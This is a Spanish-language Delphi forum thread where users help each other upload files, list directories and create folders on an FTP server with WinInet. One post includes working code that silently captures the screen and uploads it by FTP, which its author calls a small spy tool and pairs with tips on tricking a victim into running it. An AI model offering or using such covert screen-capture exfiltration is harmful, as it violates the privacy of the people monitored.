Foros Club Delphi

Foros Club Delphi (https://www.clubdelphi.com/foros/index.php)
-   Varios (https://www.clubdelphi.com/foros/forumdisplay.php?f=11)
-   -   Realizar una conexion FTP mediante Delphi (https://www.clubdelphi.com/foros/showthread.php?t=35148)

KeyMan 01-09-2006 21:30:53

Realizar una conexion FTP mediante Delphi
 
Hola gente tengo que realizar una aplicación que me han pedido, para subir imagenes a un servidor mediante FTP. Dispongo de la versioón Delphi 7 y me gustaría saber por donde empezar.


He oido algo de un componente NMFTP pero no lo encuentro en mi Delphi 7.

Sabeis algo del tema o pensais que hay otra manera más sencilla.

Gracias:o

roman 01-09-2006 21:58:03

Podrías probar con las componentes Indy, en particular la TIdFTP. También puedes usar WinInet. Si no mal recuerdo, el compañero seoane ha publicados varios ejemplos de uso. Si no, siempre está La Web de JM, que en su sección de Delphi trae una serie excelente de artículos acerca de WinInet, y en particular, su uso con FTP.

// Saludos

seoane 01-09-2006 23:36:56

Roman de Ftp todavía no había puesto ningún ejemplo, pero lo puedo intentar. La siguiente función sube un archivo a un servidor FTP.

Código Delphi [-]
Uses WinInet;

function Upload(LocalFile, RemoteFile, Server: string; Port: Word;
  Username, Password: PChar): Boolean;
var
  hNet: HINTERNET;
  hCon: HINTERNET;
  Context: DWORD;
begin
  Result := FALSE;
  Context:= 0;
  hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if (hNet <> nil) then
  begin
    hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
      INTERNET_SERVICE_FTP,0,Context);
    if (hCon <> nil) then
    begin
      Result:= FtpPutFile(hCon,PChar(LocalFile),PChar(RemoteFile),
        FTP_TRANSFER_TYPE_BINARY, Context);
      InternetCloseHandle(hCon);
    end;
    InternetCloseHandle(hNet);
  end;
end;

//Ejemplo de como usarla
Upload('C:\Foto.jpg','Carpeta/Foto.jpg','127.0.0.1',21,'Usuario','');

Los parámetros son: el archivo local, el archivo remoto (el que se va a crear), la dirección del servidor (el nombre o la ip), Usuario y password. Los parámetros Usuario y Password son PChar, así que si quieres usar una variable de tipo string tendrás que hacer el conveniente typecast ( PChar(variable) ), si por el contrario quieres hacer una conexión anónima utiliza nil en ambos parámetros.

Ahora es cuando comenzamos a complicar la cosa, en vez de mandar un archivo vamos a mandar una imagen. De echo vamos a capturar la pantalla y subir la imagen al ftp, algo así como un pequeño espía.

Código Delphi [-]
uses Windows, SysUtils, Classes, Graphics, Jpeg, WinInet;

function UploadScreen(Server: string; Port: Word; Username, Password: PChar): Boolean;
var
  hNet: HINTERNET;
  hCon: HINTERNET;
  hFile: HINTERNET;
  Context: DWORD;
  Bmp: Tbitmap;
  Jpg: TJPEGImage;
  Mem: TMemoryStream;
  Escritos: Cardinal;
begin
  Result := FALSE;
  Context:= 0;
  hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if (hNet <> nil) then
  begin
    hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
      INTERNET_SERVICE_FTP,0,Context);
    if (hCon <> nil) then
    begin
      hFile:= FtpOpenFile(hCon,PChar(FormatDateTime('ddmmyyhhnnss',Now)+'.jpg'),GENERIC_WRITE,
        FTP_TRANSFER_TYPE_BINARY,Context);
      if (hFile <> nil) then
      begin
        Bmp:= Tbitmap.Create;
        Jpg:= TJPEGImage.Create;
        Mem:= TMemoryStream.Create;
        try
          try
            bmp.Width:= GetSystemMetrics(SM_CXSCREEN);
            bmp.Height:= GetSystemMetrics(SM_CYSCREEN);
            BitBlt(bmp.Canvas.Handle,0,0,bmp.Width,bmp.Height,GetDc(0),0,0,SRCCOPY);
            jpg.Assign(bmp);
            jpg.CompressionQuality:= 60;
            jpg.Compress;
            jpg.SaveToStream(Mem);
            if InternetWriteFile(hFile,Mem.Memory,Mem.Size,Escritos) then
              Result:= Mem.Size = Escritos
            else
              Result:= FALSE;
          except end;
        finally
          Mem.Free;
          Bmp.free;
          Jpg.free;
        end;
        InternetCloseHandle(hFile);
      end;
      InternetCloseHandle(hCon);
    end;
    InternetCloseHandle(hNet);
  end;
end;


//Un ejemplo de como usarla
var
  Usuario: string;
  Password: string;
begin
  Usuario:= 'Miron';
  Password:= '';
  UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
end;

Con esto ya se puede espiar a un incauto, solo hace falta convencerlo de que ejecute el programa, lo desbloquee en el firewall de windows y que no tenga otro firewall instalado. En serio, espiar a la gente es una cosa muy fea :D así que no lo hagáis

JuanErasmo 07-11-2006 21:54:17

NO me funciona en Builder...
 
HOla amigos...ya me he vuelto un experto en traducir de Delphi a builder...
pero en este caso me sale un error extraño...esos de linker...
en la primera parte para subir un archivo a un servidor ftp me sale cuando compilo :
Código:

[Linker Error] Unresolved external 'InternetOpenA' referenced from C:\ARCHIVOS DE PROGRAMA\BORLAND\CBUILDER6\PROJECTS\UNIT1.OBJ
[Linker Error] Unresolved external 'InternetConnectA' referenced from C:\ARCHIVOS DE PROGRAMA\BORLAND\CBUILDER6\PROJECTS\UNIT1.OBJ

es como si no lo reconociera...alguien sabe que pasa? o como arreglarlo? Gracias.

JuanErasmo 08-11-2006 15:42:57

hCon me devuelve NULL
 
hola amigos...estoy intentando traducir ese codigo a a C++ Builder pero en una parte no me funciona.....cuando llamo a InternetConnect, la funcion me devuelve NULL....que estoy haciendo mal??
aca esta la linea de codigo
Código:

hCon= InternetConnect(hNet,Server.c_str(),(14147),"usuario1","1234",
        INTERNET_SERVICE_FTP,0,Context);

....en hNet si tengo un valor no nulo, pero despues de esto...sihCon queda Null...Server es el contenido de un Edit1->Text, 14147 es el puerto, usuario el login y 1234 la contraseña.....estan bien ingresados los datos????
no me funciona....
Gracias si alguien sabe como arreglar esto muchas gracias

seoane 08-11-2006 16:01:52

Vamos por partes. Server.c_str() es el contenido de un Edit, pero no dices que has escrito en el Edit :) También seria interesante saber que dice windows que esta fallando. Utiliza la funciones GetLastError, e incluso InternetGetLastResponseInfo para obtener información sobre el fallo. En resumen ¿que hay en el Edit? ¿que código te devuelve GetLastError?

JuanErasmo 08-11-2006 16:06:29

Gracias seaone
 
En Server esta el contenido de un Edit1->Text = ftp://localhost...
el codigo que estoy utilizando es el siguiente...:
Código:

HINTERNET hNet,hCon;
  DWORD Context=0;
  hNet = InternetOpen("agent",INTERNET_OPEN_TYPE_PRECONFIG, NULL,    NULL, 0);
    AnsiString LocalFile = Edit1->Text;  // Edit1->Text = "C:\\Captura.jpg"
  AnsiString RemoteFile = Edit2->Text; // Edit2->Text = "Capturaftp.jpg"

  AnsiString Server = "ftp://localhost";
  HResult Result;

          hCon= InternetConnect(hNet,Server.c_str(),(14147),"usuario1","1234",
        INTERNET_SERVICE_FTP,0,Context);
 
          Result = FtpPutFile(hCon,(LocalFile).c_str(),(RemoteFile).c_str(),
        FTP_TRANSFER_TYPE_BINARY, Context);
        InternetCloseHandle(hCon);


cuando invoco hcon queda en Null....estoy utilizando filezilla Server que usa el puerto 14147..
Muchas gracias. en cuanto a lo del GetLast error....no se como usarlo...solo debugeo..para darme cuenta del error...y se que como hcon es un handle..no puede ser NULL...ahi esta el error...gracias amigo

seoane 08-11-2006 16:16:39

Prueba usando "localhost" o "127.0.0.1" en vez de "ftp://localhost/", fíjate que lo que se pide es solo el nombre del servidor no una URL que es lo que tu le pasas.

JuanErasmo 08-11-2006 16:21:38

sigue sin funcionar...
 
No..no funciona tampoco...ahorita si se tarda mas pero no funciona...no hace la transferencia....
ves algo ams extraño en el codigo???
Gracias

seoane 08-11-2006 16:28:13

:confused: El puerto 14147 en el Filezilla, por defecto, no es utilizado para realizar la conexión ftp sino para administrar el servidor. Si no me equivoco para el ftp usa el puerto 21, otra vez por defecto, así que si no has especificado algo diferente a la hora de instalar el programa, el puerto que deberías de utilizar es el 21 y no el 14147.

JuanErasmo 08-11-2006 16:34:24

Exacto!!! eso era!
 
Gracias seaone! eso era! como siempre tu ayuda es muy oportuna.
Estuve revisando el filezilla y me dice que para administrador es el puerto 14147, pero para usuarios es el puerto 21, como estáandar!!!
gracias! me has ayudado mucho! tambien pudiste cambiar el icono de las ventanas...etc...eres de lo que mas sabe por estos lados.
Gracias.

JuanErasmo 08-11-2006 16:35:47

otra preguntilla....
 
Como puedo obtener el listado de directorios en el servidor?
Para visualizarlo como en un Directory List Box? o en un List Box?
Gracias.

JuanErasmo 08-11-2006 16:45:32

Como crear una carpeta en el servidor??
 
Como creo una carpeta en el servidor?
Tengo muchas dudas con esto del ftp....es la manera correcta de transferir archivos? o ya va a entrar en desuso??
Gracias

seoane 08-11-2006 17:08:15

Para listar los directorios, otra vez mas, te dejo el codigo en delphi :D

Código Delphi [-]
procedure Listar(Server: string; Port: Word;Username, Password: PChar);
var
  hNet: HINTERNET;
  hCon: HINTERNET;
  hFind: HINTERNET;
  Context: DWORD;
  Data: WIN32_FIND_DATA;
begin
  Context:= 0;
  hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if (hNet <> nil) then
  begin
    hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
      INTERNET_SERVICE_FTP,0,Context);
    if (hCon <> nil) then
    begin
      hFind:= FtpFindFirstFile(hCon,nil,Data,0,Context);
      if hFind <> nil then
      begin
        repeat
          if (Data.dwFileAttributes and faDirectory) = faDirectory then
          begin
            // Aqui muestro el nombre del directorio, tu puede hacer lo que quieras con el
            ShowMessage(Data.cFileName);
          end;
        until not InternetFindNextFile(hFind,@Data);
        InternetCloseHandle(hFind);
      end;
      InternetCloseHandle(hCon);
    end;
    InternetCloseHandle(hNet);
  end;
end;

En cuanto a si el ftp esta "de moda" o no, no soy quien para contestarte. Yo lo veo perfectamente valido para subir ficheros a un servidor. Claro que hay otros métodos para transferir archivos (p2p, carpetas compartidas, http ...) todos tienen sus ventajas y sus inconvenientes, eso depende mucho de cada caso.

JuanErasmo 08-11-2006 18:12:43

Muy Bien
 
Ya convertí a C++ Builder y me funciono perfecto, pero solo me muestra los archivos y carpetas que estan en la "carpeta de entrada", no me muestra los archivos que estan en subcarpetas y demas....como hago que me muestre las subcarpetas?
Gracias!

JuanErasmo 08-11-2006 21:18:55

Obterner el listado de una subcarpeta.
 
Hola otra vez....este codigo funciona para la lista del directorio root, pero si yo quiero "navegar" por ese listado...como hago para obtener la lista pero dentro de los subdirectorios? ya se como cambiar de directorio con FTPSetCurrentDirectory, pero no se como ejecutar para obtener el listado...
Gracias..si sabes como hacerlo te lo agradeceria.

seoane 08-11-2006 21:31:22

El código tal cual te lo puse lista el contenido del directorio actual, así que si cambias el directorio actual, listara el contenido del nuevo directorio actual. De todas formas puedes especificar la ruta a listar:

Código Delphi [-]
procedure Listar(Server: string; Port: Word;Username, Password: PChar);
var
  hNet: HINTERNET;
  hCon: HINTERNET;
  hFind: HINTERNET;
  Context: DWORD;
  Data: WIN32_FIND_DATA;
begin
  Context:= 0;
  hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if (hNet <> nil) then
  begin
    hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
      INTERNET_SERVICE_FTP,0,Context);
    if (hCon <> nil) then
    begin
      //FtpSetCurrentDirectory(hCon,'/123'); // Con esto cambiariamos el directorio actual
      hFind:= FtpFindFirstFile(hCon,'/123/*',Data,0,Context); // < -- Fijate que digo que liste el directorio /123
      if hFind <> nil then
      begin
        repeat
          // Si quieres listar archivos ademas de directorio basta con eliminar esta linea
          //if (Data.dwFileAttributes and faDirectory) = faDirectory then
          //begin
            // Aqui muestro el nombre del directorio, tu puede hacer lo que quieras con el
            ShowMessage(Data.cFileName);
          //end;
        until not InternetFindNextFile(hFind,@Data);
        InternetCloseHandle(hFind);
      end;
      InternetCloseHandle(hCon);
    end;
    InternetCloseHandle(hNet);
  end;
end;

JuanErasmo 27-12-2006 18:03:22

Crear carpeta que no existe en el ftp...
 
hola otra vez...
soy yo, de nuevo con el ftp, ya subo un archivo a mi servidor, pero ahora quiero crear un directorio en mi servidor ftp...
como se hace? que instruccion le aplico?
Gracias!

seoane 27-12-2006 21:27:21

Cita:

Empezado por JuanErasmo
que instruccion le aplico?

FtpCreateDirectory

JuanErasmo 30-05-2007 17:21:10

Como saber si si llego el archivo al servidor ftp?
 
Hola amigos,
En este hilo se envia un archivo ftp, perooooooooooo si el archivo se interrumpe en la subida, y la creacion no es completa, como verificar si el archivo llego?

Lo que pasa es que estoy enviando una serie de archivos y tengo que verificar que todos leguen a su destino....alguna idea de como hacerlo?
Gracias!


La franja horaria es GMT +2. Ahora son las 05:52:22.

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi